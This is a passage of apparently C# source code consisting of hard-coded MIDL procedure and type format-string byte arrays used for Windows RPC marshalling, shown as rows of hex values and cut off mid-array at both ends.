0x00,0x00,0x09,0x00,0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x4c,0x00,0xc8,0xff,0x5c,0x5b,0x1a,0x07,0x08,0x00,0xd2,0xff,0x00,0x00,0x08,0x40,0x5c,0x5b,0x1a,0x03,0x40,0x00,0x00,0x00,0x0c,0x00,
0x36,0x4c,0x00,0x99,0xff,0x08,0x40,0x36,0x36,0x5b,0x12,0x00,0xec,0xff,0x12,0x00,0x00,0xfc,0x12,0x00,0xd8,0xff,0x1a,0x07,0x90,0x00,0x00,0x00,0x20,0x00,
0x4c,0x00,0xf0,0xfb,0x4c,0x00,0xec,0xfb,0x36,0x4c,0x00,0x69,0xfc,0x4c,0x00,0x65,0xfc,0x36,0x4c,0x00,0xc8,0xfc,0x08,0x08,0x08,0x40,0x36,0x08,0x40,0x5b,
0x12,0x00,0xf2,0xfc,0x12,0x00,0x24,0xfd,0x12,0x00,0xb2,0xff,0x1b,0x00,0x01,0x00,0x19,0x00,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x08,0x36,0x5b,0x12,0x20,0xdc,0xff,0x1a,0x03,0x10,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,
0xe6,0xff,0x5c,0x5b,0x15,0x07,0x20,0x00,0x4c,0x00,0x8e,0xfb,0x0b,0x0b,0x5c,0x5b,0x1b,0x07,0x20,0x00,0x09,0x00,0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0x4c,0x00,0xde,0xff,0x5c,0x5b,0x17,0x07,0x10,0x00,0xe2,0xff,0x08,0x08,0x08,0x08,0x5c,0x5b,0xb1,0x07,0x30,0x00,0x00,0x00,
0x00,0x00,0x0b,0x4c,0x00,0xf7,0xfe,0x5b,0x1a,0x07,0x58,0x00,0x00,0x00,0x10,0x00,0x36,0x08,0x40,0x4c,0x00,0x3f,0xfe,0x08,0x40,0x4c,0x00,0xdf,0xff,0x5b,
0x12,0x00,0x5c,0xfc,0x21,0x07,0x00,0x00,0x19,0x00,0x94,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc0,0xff,0x5c,0x5b,0x1a,0x07,0xa8,0x00,0x00,0x00,0x26,0x00,0x4c,0x00,0x06,0xfb,0x4c,0x00,
0x02,0xfb,0x36,0x4c,0x00,0x7f,0xfb,0x4c,0x00,0x7b,0xfb,0x36,0x4c,0x00,0xde,0xfb,0x08,0x08,0x08,0x40,0x36,0x08,0x08,0x08,0x08,0x36,0x08,0x40,0x5c,0x5b,
0x12,0x00,0x02,0xfc,0x12,0x00,0x70,0xff,0x12,0x00,0xc2,0xfe,0x12,0x20,0x9c,0xff,0x1a,0x03,0x18,0x00,0x00,0x00,0x00,0x00,0x08,0x0d,0x4c,0x00,0x16,0xff,
0x5c,0x5b,0xb1,0x07,0x48,0x00,0x00,0x00,0x00,0x00,0x0b,0x4c,0x00,0x59,0xfe,0x08,0x08,0x08,0x40,0x0b,0x5c,0x5b,0x1a,0x07,0x70,0x00,0x00,0x00,0x10,0x00,
0x36,0x08,0x40,0x4c,0x00,0x9b,0xfd,0x08,0x40,0x4c,0x00,0xd9,0xff,0x5b,0x12,0x00,0xb8,0xfb,0x21,0x07,0x00,0x00,0x19,0x00,0x94,0x00,0x11,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc0,0xff,0x5c,0x5b,
0x1a,0x07,0xa8,0x00,0x00,0x00,0x26,0x00,0x4c,0x00,0x62,0xfa,0x4c,0x00,0x5e,0xfa,0x36,0x4c,0x00,0xdb,0xfa,0x4c,0x00,0xd7,0xfa,0x36,0x4c,0x00,0x3a,0xfb,
0x08,0x08,0x08,0x40,0x36,0x08,0x08,0x08,0x08,0x36,0x08,0x40,0x5c,0x5b,0x12,0x00,0x5e,0xfb,0x12,0x00,0xcc,0xfe,0x12,0x00,0x1e,0xfe,0x12,0x20,0x9c,0xff,
0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x00,0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x20,0x00,0x01,0x00,0x01,0x00,
0x00,0x00,0x2e,0x00,0xff,0xff,0x21,0x03,0x00,0x00,0x19,0x00,0x14,0x00,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x5c,0x5b,0x1a,0x03,0x20,0x00,0x00,0x00,0x0a,0x00,0x08,0x08,0x08,0x08,
0x08,0x08,0x36,0x5b,0x12,0x20,0xc4,0xff,0x11,0x04,0x02,0x00,0x2b,0x09,0x29,0x54,0x18,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x08,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x54,0x00,0xff,0xff,0x1a,0x03,0x18,0x00,0x00,0x00,0x08,0x00,0x08,0x40,0x36,0x36,0x5c,0x5b,0x12,0x08,
0x25,0x5c,0x12,0x08,0x25,0x5c,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc4,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,
0x12,0x20,0xc8,0xff,0x1a,0x03,0x08,0x00,0x00,0x00,0x04,0x00,0x36,0x5b,0x12,0x00,0xe4,0xff,0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x00,0x08,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0xff,0xff,0x1a,0x03,0x10,0x00,0x00,0x00,
0x06,0x00,0x36,0x08,0x40,0x5b,0x12,0x08,0x25,0x5c,0x11,0x04,0x02,0x00,0x2b,0x09,0x29,0x54,0x18,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x02,0x00,0x10,0x00,0x04,0x00,0x01,0x00,0x00,0x00,0x64,0x00,0x02,0x00,0x00,0x00,0xd8,0x00,0x03,0x00,0x00,0x00,0x4c,0x01,0xff,0xff,0xff,0xff,
0x94,0x01,0xff,0xff,0x1a,0x03,0x30,0x00,0x00,0x00,0x0a,0x00,0x36,0x36,0x36,0x36,0x36,0x08,0x08,0x5b,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,
0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xb6,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,
0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,0x1a,0x03,0x88,0x00,0x00,0x00,0x1e,0x00,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x08,0x08,0x08,0x4c,0x00,0x70,0xf8,
0x4c,0x00,0x6c,0xf8,0x4c,0x00,0x68,0xf8,0x4c,0x00,0x64,0xf8,0x40,0x5b,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,
0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,
0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x9a,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,
0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,0x1a,0x03,0x88,0x00,0x00,0x00,0x1e,0x00,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x08,0x08,0x08,0x08,0x4c,
0x00,0xf5,0xf7,0x4c,0x00,0xf1,0xf7,0x4c,0x00,0xed,0xf7,0x4c,0x00,0xe9,0xf7,0x5b,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,
0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x10,0x27,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x9a,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,
0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,0x1a,0x03,0x20,0x00,0x00,0x00,0x0a,0x00,0x08,0x08,0x08,0x08,0x08,0x08,0x36,0x5b,0x12,0x08,
0x25,0x5c,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc6,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,
0x00
};
private static byte[] MIDL_ProcFormatStringx86 = new byte[] {
0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x32,0x00,0x00,0x00,0x44,0x00,0x40,0x00,0x47,0x05,0x08,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x0a,0x00,
0x04,0x00,0x02,0x00,0x0b,0x00,0x08,0x00,0x18,0x00,0x13,0x20,0x0c,0x00,0x3a,0x00,0x10,0x01,0x10,0x00,0x42,0x00,0x70,0x00,0x14,0x00,0x08,0x00,0x00,0x48,
0x00,0x00,0x00,0x00,0x01,0x00,0x08,0x00,0x30,0xe0,0x00,0x00,0x00,0x00,0x38,0x00,0x40,0x00,0x44,0x02,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x01,
0x00,0x00,0x4a,0x00,0x70,0x00,0x04,0x00,0x08,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x02,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,
0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x03,0x00,0x18,0x00,0x30,0x40,0x00,0x00,0x00,0x00,0x2c,0x00,0x24,0x00,0x47,0x06,
0x08,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x4e,0x00,0x48,0x00,0x04,0x00,0x08,0x00,0x0b,0x01,0x08,0x00,0x56,0x00,0x50,0x21,0x0c,0x00,
0x08,0x00,0x13,0x01,0x10,0x00,0xbe,0x02,0x70,0x00,0x14,0x00,0x08,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x04,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x05,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x06,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,
0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x07,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x08,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x09,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0a,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x0b,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,
0x00,0x00,0x00,0x00,0x0c,0x00,0x18,0x00,0x30,0x40,0x00,0x00,0x00,0x00,0x2c,0x00,0x24,0x00,0x47,0x06,0x08,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x08,0x00,
0x00,0x00,0x4e,0x00,0x48,0x00,0x04,0x00,0x08,0x00,0x0b,0x01,0x08,0x00,0xde,0x05,0x50,0x21,0x0c,0x00,0x08,0x00,0x13,0x21,0x10,0x00,0x46,0x06,0x70,0x00,
0x14,0x00,0x08,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0d,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0e,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x0f,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,
0x00,0x00,0x00,0x00,0x10,0x00,0x18,0x00,0x30,0x40,0x00,0x00,0x00,0x00,0x2c,0x00,0x24,0x00,0x47,0x06,0x08,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x08,0x00,
0x00,0x00,0x4e,0x00,0x48,0x00,0x04,0x00,0x08,0x00,0x0b,0x01,0x08,0x00,0xe6,0x06,0x50,0x21,0x0c,0x00,0x08,0x00,0x13,0x21,0x10,0x00,0x1e,0x07,0x70,0x00,
0x14,0x00,0x08,0x00,0x00
};
private static byte[] MIDL_TypeFormatStringx86 = new byte[] {
0x00,0x00,0x12,0x00,0x08,0x00,0x1d,0x00,0x08,0x00,0x01,0x5b,0x15,0x03,0x10,0x00,0x08,0x06,0x06,0x4c,0x00,0xf1,0xff,0x5b,0x12,0x00,0x18,0x00,0x1b,0x00,
0x01,0x00,0x09,0x00,0xfc,0xff,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x01,0x5b,0x17,0x03,0x04,0x00,0xe6,0xff,0x08,0x5b,0x11,0x14,
0xdc,0xff,0x11,0x04,0x02,0x00,0x30,0xa0,0x00,0x00,0x11,0x04,0x02,0x00,0x30,0xe1,0x00,0x00,0x30,0x41,0x00,0x00,0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x00,
0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x88,0x00,0x05,0x00,0x04,0x00,0x00,0x00,0x64,0x01,0x05,0x00,0x00,0x00,
0x7c,0x01,0x07,0x00,0x00,0x00,0xa0,0x01,0x08,0x00,0x00,0x00,0xc0,0x01,0x0a,0x00,0x00,0x00,0xf2,0x01,0xff,0xff,0x15,0x07,0x18,0x00,0x0b,0x0b,0x0b,0x5b,
0x1b,0x00,0x01,0x00,0x19,0x00,0x04,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x01,0x5b,0x16,0x03,0x0c,0x00,0x4b,0x5c,0x46,0x5c,
0x08,0x00,0x08,0x00,0x12,0x20,0xdc,0xff,0x5b,0x08,0x08,0x08,0x5c,0x5b,0x1b,0x03,0x0c,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x10,0x00,0x4b,0x5c,0x48,0x49,0x0c,0x00,0x00,0x00,0x01,0x00,0x08,0x00,0x08,0x00,0x12,0x20,0xb0,0xff,0x5b,0x4c,0x00,0xc1,0xff,0x5b,0x16,0x03,
0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x20,0xc6,0xff,0x5b,0x08,0x08,0x5b,0x1d,0x00,0x1c,0x00,0x02,0x5b,0x15,0x00,0x1c,0x00,0x4c,0x00,
0xf4,0xff,0x5c,0x5b,0x1b,0x01,0x02,0x00,0x09,0x57,0xfc,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0xa0,0x00,0x05,0x5b,0x17,0x03,0x38,0x00,
0xe6,0xff,0x08,0x08,0x4c,0x00,0xda,0xfe,0x4c,0x00,0xd2,0xff,0x08,0x5b,0x15,0x07,0x18,0x00,0x4c,0x00,0xcc,0xfe,0x0b,0x5b,0x1b,0x07,0x18,0x00,0x09,0x00,
0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x4c,0x00,0xe0,0xff,0x5c,0x5b,0x17,0x07,0x10,0x00,0xe2,0xff,0x08,0x08,0x08,0x08,
0x5c,0x5b,0x1b,0x03,0x04,0x00,0x09,0x00,0xfc,0xff,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x08,0x5b,0x17,0x03,0x0c,0x00,0xe6,0xff,
0x08,0x08,0x08,0x5b,0xb1,0x07,0x60,0x00,0x00,0x00,0x1c,0x00,0x4c,0x00,0x78,0xfe,0x4c,0x00,0x74,0xfe,0x36,0x40,0x4c,0x00,0xf0,0xfe,0x36,0x36,0x4c,0x00,
0x4a,0xff,0x08,0x08,0x08,0x08,0x5c,0x5b,0x11,0x00,0x7a,0xff,0x12,0x00,0xac,0xff,0x12,0x00,0xca,0xff,0x1b,0x00,0x01,0x00,0x09,0x00,0xfc,0xff,0x11,0x00,
0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x5b,0x17,0x03,0x04,0x00,0xe6,0xff,0x08,0x5b,0xb1,0x07,0x78,0x00,0x00,0x00,0x0e,0x00,0x4c,0x00,
0x2c,0xfe,0x36,0x40,0x4c,0x00,0xa4,0xff,0x5c,0x5b,0x11,0x00,0xe2,0xff,0x15,0x07,0x08,0x00,0x0b,0x5b,0xb1,0x07,0x60,0x00,0x00,0x00,0x1c,0x00,0x4c,0x00,
0x0e,0xfe,0x4c,0x00,0x0a,0xfe,0x36,0x40,0x4c,0x00,0x86,0xfe,0x36,0x08,0x08,0x08,0x08,0x40,0x4c,0x00,0xdc,0xff,0x5c,0x5b,0x11,0x00,0x10,0xff,0x12,0x00,
0x42,0xff,0xb1,0x07,0x88,0x00,0x00,0x00,0x14,0x00,0x4c,0x00,0xe4,0xfd,0x36,0x40,0x4c,0x00,0x5c,0xff,0x36,0x36,0x4c,0x00,0xba,0xfe,0x5c,0x5b,0x11,0x00,
0x94,0xff,0x12,0x00,0x42,0xff,0x12,0x00,0x3e,0xff,0xb1,0x07,0x70,0x00,0x00,0x00,0x22,0x00,0x4c,0x00,0xbe,0xfd,0x4c,0x00,0xba,0xfd,0x36,0x40,0x4c,0x00,
0x36,0xfe,0x36,0x08,0x08,0x08,0x08,0x40,0x4c,0x00,0x8c,0xff,0x36,0x36,0x4c,0x00,0x86,0xfe,0x5c,0x5b,0x11,0x00,0xba,0xfe,0x12,0x00,0xec,0xfe,0x12,0x00,
0x0a,0xff,0x12,0x00,0x06,0xff,0x1a,0x07,0x78,0x00,0x00,0x00,0x24,0x00,0x4c,0x00,0x86,0xfd,0x4c,0x00,0x82,0xfd,0x36,0x40,0x4c,0x00,0xfe,0xfd,0x36,0x08,
0x08,0x08,0x08,0x40,0x4c,0x00,0x54,0xff,0x36,0x36,0x4c,0x00,0x4e,0xfe,0x08,0x40,0x5c,0x5b,0x11,0x00,0x80,0xfe,0x12,0x00,0xb2,0xfe,0x12,0x00,0xd0,0xfe,
0x12,0x00,0xcc,0xfe,0x11,0x0c,0x08,0x5c,0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x54,0x0c,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x90,0x00,0x05,0x00,0x01,0x00,0x00,0x00,0x3e,0x01,0x02,0x00,0x00,0x00,0x80,0x01,0x06,0x00,0x00,0x00,0x14,0x02,0x07,0x00,0x00,0x00,0x4a,0x02,
0x09,0x00,0x00,0x00,0xac,0x02,0xff,0xff,0x1b,0x00,0x01,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x01,0x02,0x5b,
0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x20,0xdc,0xff,0x5b,0x08,0x08,0x5b,0x1b,0x03,0x08,0x00,0x19,0x00,0x04,0x00,0x11,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0x00,0x4b,0x5c,0x48,0x49,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x04,0x00,0x12,0x20,0xb2,0xff,0x5b,0x4c,
0x00,0xc3,0xff,0x5b,0x16,0x03,0x0c,0x00,0x4b,0x5c,0x46,0x5c,0x08,0x00,0x08,0x00,0x12,0x20,0xc6,0xff,0x5b,0x08,0x08,0x08,0x5c,0x5b,0x1b,0x03,0x0c,0x00,
0x19,0x00,0x0c,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x4b,0x5c,0x48,0x49,0x0c,0x00,0x00,0x00,0x01,0x00,0x08,0x00,0x08,0x00,
0x12,0x20,0x9a,0xff,0x5b,0x4c,0x00,0xc1,0xff,0x5b,0xb1,0x07,0x28,0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x0b,0x4c,0x00,0x71,0xfc,0x0b,0x5c,0x5b,0x21,0x07,
0x00,0x00,0x09,0x00,0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x4c,0x00,0xc8,0xff,0x5c,0x5b,0x1a,0x07,0x08,0x00,0xd2,0xff,0x00,0x00,0x08,0x40,0x5c,0x5b,0x16,0x03,0x20,0x00,0x4b,0x5c,0x46,0x5c,
0x00,0x00,0x00,0x00,0x12,0x00,0xf2,0xff,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x00,0x3a,0xfd,0x46,0x5c,0x10,0x00,0x10,0x00,0x12,0x20,0x6a,0xff,0x46,0x5c,
0x18,0x00,0x18,0x00,0x12,0x00,0x0a,0xfc,0x46,0x5c,0x1c,0x00,0x1c,0x00,0x12,0x00,0xbe,0xff,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x5b,0xb1,0x07,
0x78,0x00,0x00,0x00,0x20,0x00,0x4c,0x00,0xea,0xfb,0x4c,0x00,0xe6,0xfb,0x36,0x40,0x4c,0x00,0x62,0xfc,0x4c,0x00,0x5e,0xfc,0x36,0x4c,0x00,0xb9,0xfc,0x08,
0x08,0x08,0x36,0x08,0x5c,0x5b,0x12,0x00,0xe8,0xfc,0x12,0x00,0x1a,0xfd,0x12,0x00,0x8e,0xff,0x1b,0x00,0x01,0x00,0x19,0x00,0x04,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x5b,0x16,0x03,0x0c,0x00,0x4b,0x5c,0x46,0x5c,0x08,0x00,0x08,0x00,0x12,0x20,0xdc,0xff,0x5b,0x08,0x08,0x08,
0x5c,0x5b,0x15,0x07,0x20,0x00,0x4c,0x00,0x90,0xfb,0x0b,0x0b,0x5c,0x5b,0x1b,0x07,0x20,0x00,0x09,0x00,0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x10,0x00,0x4c,0x00,0xde,0xff,0x5c,0x5b,0x17,0x07,0x10,0x00,0xe2,0xff,0x08,0x08,0x08,0x08,0x5c,0x5b,0xb1,0x07,0x30,0x00,0x00,0x00,0x00,0x00,
0x0b,0x4c,0x00,0xdb,0xfe,0x5b,0xb1,0x07,0x48,0x00,0x00,0x00,0x10,0x00,0x36,0x08,0x4c,0x00,0x4a,0xfe,0x08,0x40,0x4c,0x00,0xe0,0xff,0x5c,0x5b,0x12,0x00,
0x5a,0xfc,0x21,0x07,0x00,0x00,0x19,0x00,0x80,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc0,0xff,0x5c,0x5b,0x1a,0x07,0x90,0x00,0x00,0x00,0x26,0x00,0x4c,0x00,0x08,0xfb,0x4c,0x00,0x04,0xfb,
0x36,0x40,0x4c,0x00,0x80,0xfb,0x4c,0x00,0x7c,0xfb,0x36,0x4c,0x00,0xd7,0xfb,0x08,0x08,0x08,0x36,0x08,0x08,0x08,0x08,0x36,0x08,0x40,0x5c,0x5b,0x12,0x00,
0x00,0xfc,0x12,0x00,0x70,0xff,0x12,0x00,0xa6,0xfe,0x12,0x20,0x9c,0xff,0x1a,0x03,0x14,0x00,0x00,0x00,0x00,0x00,0x08,0x0d,0x4c,0x00,0x1e,0xff,0x5c,0x5b,
0xb1,0x07,0x48,0x00,0x00,0x00,0x00,0x00,0x0b,0x4c,0x00,0x3d,0xfe,0x08,0x08,0x08,0x40,0x0b,0x5c,0x5b,0xb1,0x07,0x60,0x00,0x00,0x00,0x10,0x00,0x36,0x08,
0x4c,0x00,0xa6,0xfd,0x08,0x40,0x4c,0x00,0xda,0xff,0x5c,0x5b,0x12,0x00,0xb6,0xfb,0x21,0x07,0x00,0x00,0x19,0x00,0x80,0x00,0x11,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xc0,0xff,0x5c,0x5b,0x1a,0x07,
0x90,0x00,0x00,0x00,0x26,0x00,0x4c,0x00,0x64,0xfa,0x4c,0x00,0x60,0xfa,0x36,0x40,0x4c,0x00,0xdc,0xfa,0x4c,0x00,0xd8,0xfa,0x36,0x4c,0x00,0x33,0xfb,0x08,
0x08,0x08,0x36,0x08,0x08,0x08,0x08,0x36,0x08,0x40,0x5c,0x5b,0x12,0x00,0x5c,0xfb,0x12,0x00,0xcc,0xfe,0x12,0x00,0x02,0xfe,0x12,0x20,0x9c,0xff,0x11,0x00,
0x02,0x00,0x2b,0x09,0x29,0x00,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x1c,0x00,0x01,0x00,0x01,0x00,0x00,0x00,
0x2e,0x00,0xff,0xff,0x1b,0x03,0x04,0x00,0x19,0x00,0x14,0x00,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x4b,0x5c,0x48,0x49,0x04,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x5c,0x5b,0x16,0x03,0x1c,0x00,0x4b,0x5c,0x46,0x5c,0x18,0x00,0x18,0x00,0x12,0x20,
